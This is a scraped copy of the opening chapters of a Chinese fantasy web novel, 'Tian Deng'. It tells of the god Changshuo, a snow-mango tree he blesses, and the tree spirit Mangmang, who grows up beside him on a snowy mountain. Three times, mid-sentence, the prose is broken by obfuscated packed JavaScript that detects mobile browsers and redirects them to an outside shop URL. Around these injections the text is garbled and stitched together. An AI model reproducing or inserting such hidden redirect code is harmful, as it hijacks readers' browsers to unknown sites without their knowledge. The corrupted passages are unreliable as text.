《天灯》 1. 序章 “哇—” 伴随着一声惊天动地的哭声而来的,是云中天诞神台上降生的新神。 这哭声可谓响彻云霄,大大小小的神都被惊动了,一群神仙浩浩荡荡往诞神台赶去。整个云中天能去的都去了,去不了的还要托别人用水镜现场直播。 就连平日里不常出门的普林上神都骂骂咧咧地拄着拐杖往诞生台赶去。 “哟,疯眼瞎今儿个不待在姻缘祠怎么也出门了?” 开口的是打扫上清河的莱筠上神,两人一直都不对付,见面就掐。 “疯眼瞎”是普林上神的诨名。 为何叫“疯眼瞎”?原来是这普林上神整日疯疯癫癫,据说他有一回给人牵红线,本来日神和月神是一对,雷神和雨神相互倾心,结果他将日神和雷神牵在一起,月神和雨神牵在一起。 因此导致好好的晴空万里非有雷鸣贯耳,本该月明星稀的晚上又乌云密布。 闹了好大的笑话,由此得了这么个称号。 说来其实几乎云中天的每个神仙都有这么一个诨名,有好也有坏。 “本君去哪儿你管,管的着吗!”普林上神说话有些不利索。 不消片刻,诞神台外广场上就聚满了神仙,地上站不了就飞在半空中,大家挤来挤去,谁都想看看这位小神君。广场上人声鼎沸。 而此时重溪宫却安静地有些过分。 只见殿内正中摆着一张书案,桌案后坐着个人。不,是神。那神仙模样好生俊俏,唇红齿白,剑眉星目,一头如瀑黑发,一身正青长袍,头戴玉冠,手持墨笔。真真叫人看了移不开眼。 正是云中天人人叫怕,不怒自威的天神常朔。 常朔在众神里威望虽高,评价却不咋地,说他刚正不阿,不如说是冷心冷情、铁石心肠,空有外在,实则是个没有心的。因此得名“俏天秤”。 外面吵嚷一片,殿内剑拔弩张。原来是主位之下,还面对面坐着左一个明希,右一个凌风。 明希是常朔的神兽;凌风则是云中天藏书阁的主事。 两个八杆子打不着的人,此刻却怨气颇深,死死地盯着对方,好像下一秒就能当场打起来。 常朔提笔写下最后一个字,将面前的公文折好放手边托盘中已经堆出的一座小小金字塔的顶端。这才把注意力放回面前两人身上。 “说说吧。”常朔言罢,给自己倒了杯茶。 “神君,你要为我做主,都是凌风这小子胡编乱造,损我清誉!”明希先发制人。 “笑话,不过是随手写的文字,供人娱乐罢了,其中固然有杜撰成分,你自己当真,何故来怪我?”凌风丝毫不让,“我还没怪你打翻墨水,污我书文,你到先叫起来了。” “好一个百事通!若不是你满脑子腌臢事,写出那些不堪入目的东西,我又何至于生气打翻你的墨水!” “花公子颠倒黑白的能力真是厉害,经你一说,到成我的不是了。”凌风翻了个白眼。 “闭嘴!”明希最不喜欢旁人叫他这个名号。 两人争执不休,常朔喝了口茶,拿起两人呈上来的“物证”。 他先看了眼明希带来的“腌臢话本”,里面讲的无非是云中天各种奇闻逸事,只是关于明希的情节,全是他的风流韵事,这一天又如何如何勾搭某个女神,那一天又如何如何哄骗另一个女神种种。 其实也不全为胡编乱造,只是写的有些夸张而已。明希原身是赤蛇,虽是神兽,却也有繁衍后代的需求,因此每隔一段时间明希就会在外面勾勾搭搭,有时也会到下界去浪荡。 再看凌风的物证,总共有十二本书册,三卷画稿,五支毛笔。打翻墨水为何会有这么多东西被污染?因为凌风的书案可不是一般的乱。 凌风住在藏书阁,要整理各神仙的资料职位,若有新飞升的神仙,安排住址、岗位都是他来,成天与大大小小的书文为伴,喜欢同时看好几份文件,上一份还没收起来下一份又打开了,这样整个桌面都被占满,明希打翻一盘墨,自然会弄脏一大片,这也不奇怪了。 眼看两人越吵越凶,已经从椅子上站起来,就差戳着对方鼻子骂了。常朔轻咳一声,两人立马安静下来,把头扭到一边。 “情况我了解了,现在有两种解决方法……” “第二种!”不等常朔说完,两人想也不想,异口同声。 “那么,判决如下:凌风未经明希本人同意,私自撰写与其相关文章,篡改事实,应向明希道歉,并删除相关内容;” 明希听完朝凌风得意一笑,而下一秒,他笑不出来了。 “明希打翻砚台,毁凌风书册十二,画稿三卷,毛笔五支,应向凌风道歉,并赔偿相关损失。” 说完,他将写下的判决结果化作两个天秤符号分别印在两人手背上。 一般来说,找常朔解决问题有两种方案,要么双方和解,要么达成统一意见遵循常朔给的判决。第一种最后如何处理尚且能够商榷,第二种却是必须执行,无法违抗。 常朔会给双方印上符文,只有双方都完成判决内容,符文才会消失,否则会一直留在手上,还会定期放电提醒,拖得越久提醒力度越强。 “什么?!凭什么他只用道歉,我还要赔钱?那我……”明希显然对判决结果不满意,然而他话还没说完就被常朔用禁言令封住口。 凌风倒是欣然接受,爽爽快快地给明希道了歉,大笑着走出重溪宫。 常朔也不管明希,禁言令到了时间会自动解除。只是他刚想拿起下一册文书,就被越沨拉着出去凑热闹了。 广场上,阙京给两人留了位置,越沨迫不及待从云上跳下,没站稳还是常朔扶住他。 阙京无语地睨了他一眼。 很快,大祭司将池水中的小神君抱出。 “哟呵,还是个带把儿的。”越沨稀奇坏了。 不是没见过降新神,而是这位非同寻常。不出意外,他就是天道送来的新战神,只因这孩子降生时周身金光四射,跟他们三个一样,是天神命格。 云中天的神仙也分档次。以秩序之神常朔、生命之神阙京、山海之神越沨、战争之神白笙为首的四大天神,以下便是掌管云中天大小事物的众多上神,只是上神们职责不同,能力强弱不同罢了。 云中天里,像四位天神便是在诞神台上最早降生,也是世间资历最深的神,说通俗点,就是天选打工人,还是老人。天道会在合适的时机为世间送去新神,担任不同神职。 当然也有通过自己的努力修炼飞升的神仙,他们会在飞升时忘却前程往事,被赐予池水烙印,在云中天开启新的神生。 然而天神白笙在一万年前的神魔大战中殒命,因此在一万年后的今天,诞神台上降下新神。 大祭司开始在诞神池前作弄神威,嘴里念叨着叽里呱啦听不懂的奇怪经文,那是上古的一种文字,也亏常朔活的时间够久才能听懂。 只见大祭司操纵从背后长出的树藤,将池里的婴儿托至半空,婴儿哭声嘹亮,响彻天际。众神纷纷笑脸盈盈,称赞不已。 接着,又一根树藤伸出,潜入池水中用叶片舀出一滴水,缓慢停至婴儿额心上方,滴下去后,眨眼之间额间生出一个火纹印记,火纹印记只稍出现一瞬,随后隐于其中。 随后,大祭司在半空写下新神的名字—赤银。 众神纷纷抬手,指尖飞出一丝神力,为赤银赐祝福。 常朔记得,白笙额间也是火纹印记,只是花纹与赤银不同。他想了想,抬手触碰到自己的,额间显出一个天枰印记。他指尖神光微动,从印记中抽出一丝神力来,捻了捻向赤银的方向送去。 池水烙印是为不忘本,晓使命,众神寄灵则是为许下祈愿,赐予能力以履行神职。 星星点点的神力逐渐汇聚在最后一齐消失在额间印记处。 “嚯哟,常朔你这么大方?直接给这孩子送星愿!”越沨不甘示弱,也从额间的水纹印记中抽出神力飞给赤银。 星愿,即为天神的最高祝福。获星愿者,修为能直接提高好几个档次,若为凡人,可直接飞升成仙。当然,也有限制条件,获星愿者能被授予者召唤一次,不论何时,不论何地。 常朔没多看那孩子,祭祀完后便交给星君司照看。他这两天把积压的公文都处理完了,待在云中天无事,一不注意还要被越沨逮着打架,他又不是战斗型神仙,这种事以后越沨能找赤银了。 常朔关闭重溪宫,这就要下界去。 “常朔。”阙京在常朔要离开前叫住他,“你今日给那孩子星愿,是因为白笙吧?” “不是。” “你骗不了我。” 常朔看着她严肃的模样,顿感头大。 “真不是。”想了想,他又补充道,“好歹是个天神,给个星愿不过分吧。” 阙京听闻,叹了口气:“我只怕你没放下。” 常朔扯了扯嘴角,朝她摆摆手一眨眼就不见了。 “走了。” - 冀苍北丏山。 这座山落在北境,终年大雪覆盖,寒冷非常。山上几乎没什么活物,就是树也少。 半山腰一处山谷里,从地缝里渗出的清水汇成一浅水潭,一座古朴的水榭巍然立于其中。院落无人清扫,积雪覆盖,半旧的木屋挂满蛛丝,本应无人居住,却只见一身着墨青金纹长袍,黑发金瞳之人立在院落中。 那人身材颀长,气质斐然,长发及地,不加任何装饰,懒懒披散着,长相更是丰神俊朗。不是常朔又是谁? 弯月初升, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059228|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皎洁的月光足以照亮这方寸院落。常朔抬手之间,金色神力从掌心流出,登时,院落之中已不见一丝雪迹,木屋亦焕然一新。 他在平台上一木桌前坐下,挥手之间,桌上立马现出一个木制棋盘。 常朔取下腰间茶壶,里面还剩有早上泡的茶水,他无别的喜好,偏爱喝冷茶。 雪夜静谧,常朔边喝茶边等。 在等谁? 茶喝完了,等的人也来了。 之间一个醉醺醺的老头推开栅栏门走进来。 “神君呐,您可是挺久没来了。” 这老头是北丏山上的一棵雪松,活了几万年,在雪松里都算长寿了。 凛跟常朔因下棋结缘,认识几百年,也就下了几百年棋。 “今日不下棋。”凛拿着酒壶往嘴里灌了口酒,“走,小老儿带您去瞧个新鲜玩意儿。” 倒是稀罕,头一回听这个棋痴说出“不下棋”这种话,常朔高低得去瞧瞧了,到底是什么新鲜玩意儿。 两人瞬步到达山顶一处悬崖边。 这里原本是片平地,这会儿却看见一棵小树苗长在那儿。 竟是一株雪杧树。 雪杧树生长在极寒之地,喜夜,其树干通体漆黑,树叶却为通透的银灰色,果实透亮发光,是云中天用于制作天灯的上好灯芯。 但因雪杧树对生长环境极为挑剔,因此极难养活,野生的雪杧树更难以寻得,如今云中天上的雪杧树还是用当年阙京带回来的种子,小心翼翼批量种植的。 眼前这株雪杧树幼苗生得瘦弱,夜色之下,银叶子闪闪发光,映着月光,落下斑斑叶影,着实美得惊心动魄。 常朔久居云中天,说来这倒是头一回见着野生的雪杧树。 “喏,这就是杧杧,我跟您说的新鲜玩意儿。”凛得意道,“哎哟,小老儿我活了这么久,头一回在北丏山这种苦寒之地见着除了雪松外别的树种,还是株娇嫩的雪杧树。啧,缘分呐。” “杧杧?” “是啊,可不得给人家起个名字嘛。”凛喝完酒壶里最后一口酒,“俗话说贱名好养活,它长这么瘦,也不知能活到几时。” 常朔没搭话,他沉默地看着眼前的树苗,在风中摇摇欲坠。稀疏的树叶紧紧抓着树枝,但好像仍旧随时会掉落。 位置没选好。常朔想。 悬崖边风大,实在不利于这种娇贵的树生长。 不知怎么想的,常朔抬手指尖抵至额间,金色的天秤印记浮现,他抽出一丝神力飞给那株雪杧树,只见幼小的树苗立马站稳了脚跟似的,细看树干都粗壮许多。 一旁的凛震惊地说不出话,他可是听说过这星愿,心里感叹杧杧真是好福气啊,有了天神赐福,顺利长大乃至成功化形都不成问题了。 小老头感激涕零,朝常朔跪拜谢恩。 “老朽多谢神君赐福之恩!” “凛兄快请起。” 论年龄论辈分常朔都在凛前面,但两人却一直以兄弟相称。 其实常朔也没想到自己会连着拿出两次星愿。 星愿一般是不会随便给的,因为这更像一种诺誓,获得者接受召唤,赐福者也要给予相应庇佑。 谁会每天闲不住到处许诺? 常朔摸了摸鼻子,近万年来他也只给出这两枚星愿,哪里算得上到处许诺! “或许,这是本君同它的缘分。”常朔盯着那株树苗,怔怔出神。 他只是想到了白笙,那个勇往直前,义无反顾的笨蛋,也有这样弱小的身躯,却也有谁也敌不过的坚韧心性。 “你今日给那孩子星愿,是因为白笙吧?” 回想起阙京的话。 是。 是又怎么了? 常朔感到难堪,不仅是因为阙京的话点破了他的心思,还因为他从来不敢正视自己的内心。他还是没有放下。 一百年了,他们四个里最小的妹妹已经离开一百年之久了。 百年对于常朔来说不过须臾一瞬,可他整日呆在云中天却觉得漫长极了,难熬极了。 是啊,他曾与她感情最好,即使无关乎爱情,也轻易放不下。 “雪杧树千年开花,才得以结果化形。”凛抱着酒壶叹气,“也不知我这老骨头还能不能看到杧杧长大的模样。” 雪杧树开花一次结十果,十颗果实中只有一颗伊果。伊果类似于凡人的心脏,妖丹便在伊果中凝结。 这伊果便是树的命脉所在,伊果落,杧树死。 “肯定能的,你可还要陪本君下棋,该好好活着才是。”常朔安慰道。 “哈哈哈,借神君吉言。”凛大笑,“天色尚早,咱俩回去来一局?” “走。”常朔应声,还没等凛反应过来,就消失个没影。 2. 北丏山 北丏山寂寥无比,重溪宫的事情暂时交给明希处理,常朔没了公务缠身,整日饮茶下棋,日子过得清闲自在。 跟无酒不欢的凛不同,常朔更喜爱喝茶。 然而他喝茶不图雅兴,也不讲格调,只为一个清茶解渴。少了不够,多了又浪费,所以干脆每日装一瓶,随身携带。 常朔虽喝茶随意,但泡茶却是一等一讲究。他煮出来的茶清香四溢,苦而不涩,回味甘甜,喝过一次就令人难忘。若是泡不好,即使是随性而饮,也难以入口。 每壶茶必须用无根水来煮,茶叶是上好的小白茶,取适量茶水比,随时注意火候和时间。 是以每日清晨,天刚蒙蒙亮的时候,常朔就会出门收集无根水。往日在云中天,他一般到沂园去,那儿的无根水天然有股圣英罗花的清香。 圣英罗树是云中天神树,有花而无叶,花苞小而排列紧密,花蕊细长,花瓣为倒卵形,整朵花呈淡紫色。 这种树只在云中天生长,而北丏山在冀苍地界,并且处在苦寒的北境,万不可能有。 常朔将整座山环视一圈,发现有两处松林。一处离水榭不远,另一处则在山的另一面。除此之外。便是悬崖边那株雪杧树幼苗。 采集完无根水,常朔回到水榭煮茶。他坐在亲水平台上摆出的一张小方桌前,从乾坤袋里取出煮茶工具。杯具都是清洗过的,一把冰裂釉青瓷西施壶,另有四只同花色的茶杯,以及茶筒、茶漏、茶夹、茶则、茶针、茶刮。 常朔娴熟地往壶里加水,托至半空,再召出一只火精灵,给茶壶加热。 煮好的茶水倒出一杯,其余的照例装进一只玉瓶中。玉瓶被施了法术,有调温效果,就是北丏山这种苦寒之地,早晨煮好的热茶,到了晚上依旧是热的。 煮完茶,常朔收好茶具。随后,他起身进屋,抱出一箩筐物什。细细看来,竟是一堆布料、针线、剪刀、量尺……这类女红用物。 说来好笑,这位云中天的天神大人,竟喜爱做这些针线活。至于原因,全然是无聊罢。 他抬手变出一张藤椅,安置在房檐下。就这么坐下开始忙活手里的针线,那姿态同天底下的妇女们一般无二,只是放在常朔身上怎样看都觉得违和。 也就是这北丏山人少,若是叫云中天那帮人瞧见了,这种事可不是笑个百十年载就能过去的。 一旦被一众大大小小的神仙们拿来当作茶余饭后的闲话,不论讲什么,最后讲到常朔身上,便要笑上一番。尤其是越沨,他们四个里性格最跳脱,话也最密的,恐怕他人走到哪儿就要讲到哪儿了。 到时候不仅是云中天,只怕下界哪个犄角旮旯的不认识他的都知道了。 想想就头疼。 这些活计是常朔从云中天藏书阁里查资料时翻到的一本《女红详解》里学到的。 本是误拿的书,却被常朔研究至今。只是平时苦于事务繁忙,没有时间亲手做,这会儿离开云中天,自然是要好好实践一番。 常朔的日子过得愈发清闲,他已经按自己的尺寸制了十套成衣,七件披风,还给凛也制了三套衣服,也才堪堪过了五十年而已。 于是常朔又迷上打毛线。 打毛线可比在布料上穿针引线好玩多了,至少不那么扎手。 这般清风霁月的神仙成天抱着一团毛线两根长针摆弄,怎么看怎么别扭。 于是又过了七十年,常朔爱上观月,这让他更加感到平静。 起初他还是坐在院子里看,后来又爬到房顶上,也还是觉得月亮离自己太远了。 从前在云中天时,月亮就在咫尺,他无心注意,如今离得远了,才渐渐觉出月的皓洁与宁静。 但他好不容易给自己放个假,自然不愿回云中天,于是在山里走着走着,立在悬崖边停了,这儿可是个观月的好地方。悬崖之下便是一道蜿蜒曲折的峡谷,其中冰河反射出月光,将整个山谷都照亮了。而悬崖边,是那棵雪杧树。 雪杧树真是天生就该待在夜空下,它银灰色的树叶闪着细细的光亮,迎合着月光的色彩,变得更加夺目动人。漆黑的树干被黑夜隐藏,却又怕别人发现不了似的,调皮地露出一道光边。 常朔把藤椅搬到悬崖边,这棵树如今长大了些,过了一百多年,已经同他一般高了。许是受了星愿的影响,雪杧树长得极为繁茂。 晃眼间又是一百年过去,常朔这时候爱上做饭。 天神与天同寿,早已不需要通过进食维持生命或者提高修为。吃东西只是因为想吃,无论吃多吃少都没有感觉。 北丏山上物资匮乏,常朔干脆传音让越沨差人给他送了一些现成蔬菜瓜果还有种子。 他当然不会种地,也不会做饭。 但多亏他藏书众多,一切都能从书里找到答案。 至于种地的实践操作,常朔请教凛。为此,他用自己照着菜谱一步一步做出来的东西表示感谢。 之所以称为“东西”,是因为那些菜不中看也不好吃。 凛老头一把年纪哪里经得住这种折腾,干脆成日变为树的形态,任常朔怎么唤都不出来。 无奈,常朔不愿浪费食材,干脆暂时放弃这门手艺。 水榭后有一片平地,是常朔原本用来种菜的地方,他在此处搭建了温棚,而现在这里变成一处花圃了。 常朔在北丏山,饮茶赏月,种花草打毛衣,偶尔处理一些云中天发来的加急文件,日子过的要多舒适又多舒适。 如此年复一年,那株雪杧树已经长的比他高出许多了。 常朔的藤椅挪到树下,还能挡住些风雪。当然他有神力护体,这些风雪根本造不成多大影响,就是有点挡视线罢了。 今日挂在天上的是一轮新月,锐利如一把弯刀。常朔拿起茶壶正准备喝一口,一片飘落的银叶子却挡住了瓶口。 “想喝?”常朔望向身旁的树。 不知是不是错觉,那树枝摇得幅度大了些。 “行。”常朔勾起唇角,将玉瓶倾斜,里面的茶水倒出没入土里。 雪杧树高兴了似的,又摇下几片银叶子,落到常朔怀里。 常朔伸手摸了摸漆黑的树干,它如今已长得十分粗壮了,完全能凭自己的力量抵抗风雪。静默良久,不知他想到什么。 常朔眼中柔光闪烁,碧蓝的瞳孔倒映着树的轮廓,他再次开口:“杧杧……” - “……字练好了吗?”常朔走进屋,手里拿着个水壶。 只见桌案前坐着个少女,十六七岁模样,身着鹅黄圆领短衫,米白灯笼裤,脸庞白皙,五官精致,桃花眼大而明亮,乌黑的长发挽了两个小髻,上面还别着一朵小红花,模样十分娇俏可爱。 “好了。”她把手里的字帖递给常朔看,眼睛还偷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059229|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷瞄着常朔的神情,脸上写满紧张。 “嗯,还不错。”常朔扫了眼字帖,把手里的水壶给她,“今日休息吧。” 少女听这话虽高兴,却在接到常朔抵的水壶时又满面愁容。 “阿朔,我能不喝长生水吗?”她小心翼翼地问。 “理由。” “太涩了,不好喝。”杧杧虽尝不出味道,但这水涩口至极,她每次喝完舌头都是麻的。 常朔心底叹了口气,语气依旧生硬:“不能。” 原来已经过去一千年,这少女不是那悬崖边的雪杧树又是谁? “好吧。”杧杧心知常朔是为她好,当初她在化形时受了伤,伊果发育不完整,导致她身体一直不大好。 伊果是雪杧树最重要的东西,树刚发芽时就有了,分散在树根中,直到发育成熟才从树根汇聚起来移到树冠,长成果实形状。果实由外而内长成,共有三层皮,整个果实作为雪杧树的生命之源而存在。 好在常朔一直给她喝用圣英罗花泡的水,也就是杧杧口中的长生水,她才开始渐渐恢复元气,不至于刚化形就夭折。 美中不足的是,这水看状无色,闻气无味,可喝起来简直太涩口了! 至于为什么叫长生水,这个名字是常朔随口胡诌的,有一回杧杧问起,他便答了。 为了身体好,杧杧每日都要喝完整整一大壶水,不喝完还不能睡觉,叫她有苦说不出。 杧杧接过水壶,收进腰间挂的乾坤袋中。今日字练完毕,杧杧迫不及待跑出门玩。 其实整座山都没什么好玩儿的,放眼望去哪儿都是雪。杧杧跑到一山顶的条小溪边,坐到一块石板上,从乾坤袋里翻出一堆小玩意儿,开始摆弄起来。 是一堆石头树枝,还有两个手掌大的纸人。纸人是常朔给她做的,操作法术不难,她早已了然于心。 小女孩爱玩的不过是过家家。 杧杧先用树枝和石头搭了座小房子,并用法术固定好,想了想又扯下自己两根头发,发丝躺在掌心里吗幻化成两片闪闪发光的银叶子。 房顶是树枝建的,为了不让“住户”被风吹日晒,杧杧把两片银叶子当茅草一样盖在房顶上。如此,给纸人住的地方就造好了。 杧杧满意地欣赏了会儿自己的杰作,这才开始操作起纸人。她回想了下上次演到哪里了,今天要继续。 此刻,两张纸人正灵活地在屋子前走动,嘴里好似咿咿呀呀在说话。 “你这冷心薄情的负心汉,怎叫我心碎断了肠!”只见穿着裙子的纸人坐在屋门前掩面哭泣,声音尖锐。 “咿!秦娘,与你分开,我何尝不是心如刀割、痛不欲生呼?”另一只穿着书生衣服的纸人跪在她身前,哽咽着说。 “楚生楚生,我问你……” 话音中断,杧杧一下忘记台词,正待她回想时,蓦地一阵狂风吹过。杧杧自然不怕,她可是在悬崖边长起来的。可她的纸人和小房子就不一定了。 杧杧赶紧把纸人收回乾坤袋中,房子来不及拆解也一起塞进去。她紧紧护住腰间的乾坤袋,想等这阵风过了再继续玩。奈何这风狂吹不止,越来越大。 好生奇怪!明明青天白日,哪里来的妖风? 没办法,杧杧只好往山下走去。 可没走几步,就听见身后传来轰隆隆的声音,杧杧回头一看,雪崩了。 3. 过日子 只见山峰上一大片积雪排山倒海般袭来,顷刻间崩山裂石,雪虐风饕! 杧杧哪里见过这番景象,又哪里遇到过这般场景,登时吓得定在原地。眼见那雪越来越近,她这才拔腿想跑,但已经来不及了,整个人都被冰雪覆盖。 过了好一会儿,雪山恢复平静。茫茫雪原中,有一处隆起的小包,似是一顶树冠,银灰色树叶,墨黑的树枝。 不是雪杧树又是什么? 原来在大雪扑来的最后一刻,杧杧化出原形,这才不至于整个被埋在雪里。 杧杧又幻化为人形,她脖子一下的躯体都在雪里,脑袋在四处张望,一时间不知要如何出来。 北丏山连个活物都少见,她还指望什么人来救,根本是不可能的,除非常朔现在过来。 挣扎了半天,杧杧一点一点挖,一点一点挪动身体,终于从雪堆里爬出来。 她躺在雪地里重重地喘气,把自己从雪里挖出来真够累人的。 然而,还不等杧杧休息够,不远处传来一阵震天响的吼叫声。 一听见这声音,杧杧下意识颤抖,心道不好,是雪怪! 雪怪是一种很懒的生物,尤其是北丏山的雪怪。他们吃岩石为生,又住在山洞里,几乎不出门。若要出门,一般只有两种情况,要么是睡够了起来活动一下,要么是被人吵醒了。 听这吼声,完全不像是自然睡醒的状态,定是被雪崩吵醒了。 杧杧赶紧从地上拍起来,拍拍屁股飞速往山下跑。谁知道那雪怪会不会追过来,她灵力低微,无以傍身,站着不跑等着送死吗? 刚跑没几步,杧杧听见身后传来更大的跑步声,随着声音一并来的,是震动的大地。 今天还真是倒霉到家了,杧杧根本不敢回头看。 忽然,跑步声和震动都消失了。 杧杧有种不详的预感。 果然下一秒,她脚下出现一个巨大的阴影,将她整个都笼罩起来,然后“砰”得一声,那巨物落在她面前,震得杧杧差点没站稳。 杧杧停住脚步,不敢再往前。 那雪怪身高体阔,如一堵墙堵在杧杧面前,它全身由岩石组成,嘴里冒着寒气,发出阵阵低吼,带着被吵醒的愤怒。 “这位仁兄,咱有话好好说!你看,又不是我将你吵醒的,你找我也无用对不对?” 也不知这怪物能不能听懂人语,杧杧侧着身,一边说话,一边将手伸进乾坤袋中摸索。 糟糕,她今日出门,竟是一件法宝都没带! 她刚说完,又是一声巨大的吼叫。杧杧抬手挡在身前,那雪怪一叫,嘴里便喷出大小不一的石子,还夹杂着飞雪。 这一叫,将杧杧吹出去一丈远。她站定后,心下有了决定。 硬来肯定不行,她力量不够,灵力也不够强悍。经过刚才一番观察,这怪物不仅耳朵好,身手还十分敏捷。难打难打! 不过也有弱点,这怪物,眼睛不太好。 许是在山洞里呆久了,视力有所退化。既然它视物不清,那便好办。 杧杧摸出包里搜出一根长树枝,朝它吹了口气,光秃秃的树枝上竟立马长出叶子。 雪怪咆哮着就要向她冲来,杧杧心一横,撒开腿跑起来。 只见她拖着那根树枝,朝雪怪跑过去。雪怪见了,扬起手就要打,杧杧快速闪身,绕到它身侧,手一抬朝它扔出一个小石子,恰好堵住雪怪耳朵,随即围着雪怪绕圈跑。 跑到另一边时,杧杧故伎重施,这回却没那么好运气,石子被雪怪胡乱中拍开。 不过没关系,杧杧指尖灵力不断输出,树枝越长越大,叶子越来越多,随着她不断跑动,叶子拖在地上,扬起雪花。 雪怪虽灵活,但杧杧绕着它跑圈,并且范围不断缩小,它需要不断转身来判断杧杧的位置,绕着绕着竟也把自己绕晕了。 雪花越飞越多,雪怪本就是石头做的眼睛一下就被糊住,它一屁股坐到地上,双手不断揩拭眼睛,手指又想掏出耳朵里的石子,然而那石子卡得极为精妙,不仅没弄出来,还卡得更深了。它手上又满是青苔和雪花,眼睛也越擦越模糊。 杧杧见差不多了,又从头上拔下一根发丝,发丝在指尖化成一片银叶子。 “大!”杧杧轻喝一声,随即扔出叶子。那叶片果真变大,足够一个人站上去。 杧杧抓准时机扔了树枝跳上去,如滑雪一样站在叶片上往山下滑去。 “拜拜啦大块头。”杧杧离开时还不忘回头朝雪怪招手。 雪怪被糊住眼,堵住耳,难受得直打滚,发出呜呜的怪叫。 杧杧心想,这可不能怪她,情势所迫,她也是逼不得已。 沿着山路径直往下,一路上极为通畅。确定雪怪不会追上来后,杧杧收起叶片,悠悠地往水榭走去。 到达水榭时,太阳都快落山了。 杧杧整理好衣服,把身上的雪都拍干净了,这才走进去。 屋子前的亲水平台上,摆放着一张小木桌,面对面两把木椅。其中一个木椅上坐着个人。 那人打扮随意,没戴玉冠,一头长发随意披散着,身着淡青素袍,无甚花纹点缀,一身干干净净,煞是好看。 他正盯着手里的书,俊美的脸上透着冷淡疏离。 不是常朔又是谁? 杧杧一时看呆,立在原地。 “站着做甚?过来。”常朔先发现她,放下手里书抬眼看过去。 杧杧高兴地跑过去。 “阿朔。” 杧杧在常朔对面坐下,将今天遇到雪崩和雪怪的事一五一十说了。 她在说的时候,常朔已经收起书,在桌上摆出两菜一汤,全是他今天新研究的菜。 其中一盘是许多一模一样的小方块堆在一起,像一座小山,小山旁还放着两朵花。 另一盘则装着一坨黑黝黝的条状菜,每一条菜长宽大小相同,都整齐叠放在盘子里,最上面黑得发红的应当是辣椒,也同样是大小一致的条状。 而汤碗里盛的就更诡异了,汤面上零零星星浮着几颗葱花,绿色的汤里隐隐约约是一种切成片的菇类食物。 说起来,原本常朔已经放弃学习做饭这门手艺,但杧杧来了之后,他有了试毒……呃……尝味的人,便又重新捡起来。 他在原先的花圃旁扩建了菜园,照着养花的方法,还真种出菜来。 “尝尝。”常朔道。 “这是什么?”杧杧拿起筷子,首先指向那盘条状菜。 “辣炒白菜。” “这个呢?” “萝卜土豆丁。” “这是什么汤?” “野山菌汤。” “菌子不是你自己种的吗?” “松林里摘的。” 这里这么冷,居然能长出野生菌子? 杧杧将每一盘菜都夹了一箸吃进嘴里,细细咀嚼。 “如何?”常朔问道,眉间带着一丝不易察觉的紧张。 杧杧皱着眉,多嚼了几下。她没有味觉,尝不出什么味道,只能吃出来口感如何。 偏偏常朔在火候这方面把握得极好,口感一绝,差只差在味道。 是以杧杧咀嚼完,断言道:“好吃!” 常朔心里松了口气,他给杧杧盛了碗汤。 “喝汤。” 杧杧端起汤,喝了一大口。这汤在杧杧喝来就是有颜色的白水,一点油气都没有。 只是她越喝越觉得身上热得慌,头还晕晕的。 待杧杧喝完第二碗汤时,她已经头晕目眩。杧杧抬眼,看着面前的常朔怎么有好多个?还一扭一扭的。 “杧杧?”常朔察觉到不对劲。 下一秒,只听砰地一声,杧杧倒在桌上。 常朔连忙探手过去查她鼻息,又抓住她手腕摸脉象。然而鼻息稳定,脉象也并无异常,不似中毒。 他用汤匙舀了勺汤送进嘴里,奇了,竟是一股酒味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“阿朔,我们要做什么?”杧杧问道。 常朔没急着回答,他从袖洞里拿出一个小布包,一打开,是两颗指节大的种子,他将种子递给杧杧。 “这是何物?” “春明雪莲。” 杧杧只从书里看到过这种雪莲,相关记载皆表示这种雪莲早已绝迹,常朔竟不知从何处得来这两颗种子。 “现在照我说的做。”常朔负手而立,“给它们分别注入灵力,之后一北一南间隔一寸左右种在淤泥中。” 杧杧回神,闻言照做。 “即日起,你时时留心这两株雪莲,发芽后,日日来为它注入灵力,不用太多,保持芽叶饱满挺立,直到开花。明白?” 杧杧点点头。 这花怎么比她还娇贵?竟要日日用灵力来养护!怪不得书里说已经绝迹了。 既然是常朔吩咐的,杧杧自然放在心上。 一连观察七天后,那两颗种子终于发了芽。这时候,杧杧正抱着一只兔子飞快跑回来。 “阿朔阿朔,你看看我找到什么!”杧杧兴奋地跑到常朔跟前,把兔子举起来给他看。 这兔子与普通的不大相同,它个头更大,牙齿更锋利,身上的毛也更多,能在北丏山存活下来的兔子,怕是早已成精。 不过好不容易见到一只活物,杧杧稀奇极了,当下就问常朔能不能把它留下来。 常朔心知这兔子精做不了什么怪,便同意了。 得到常朔的首肯,杧杧高兴得跳起来,当下就用木藤给它做了个小窝。木藤柔韧性好,不非常硬也不非常软,用来做兔子窝正合适。 “杧杧。”常朔站在平台边,唤道。 “诶。”她正给兔子喂萝卜,应了声立马跑过去,“怎么啦?” “你的花发芽了。” 4. 下山门 “你的花发芽了。” 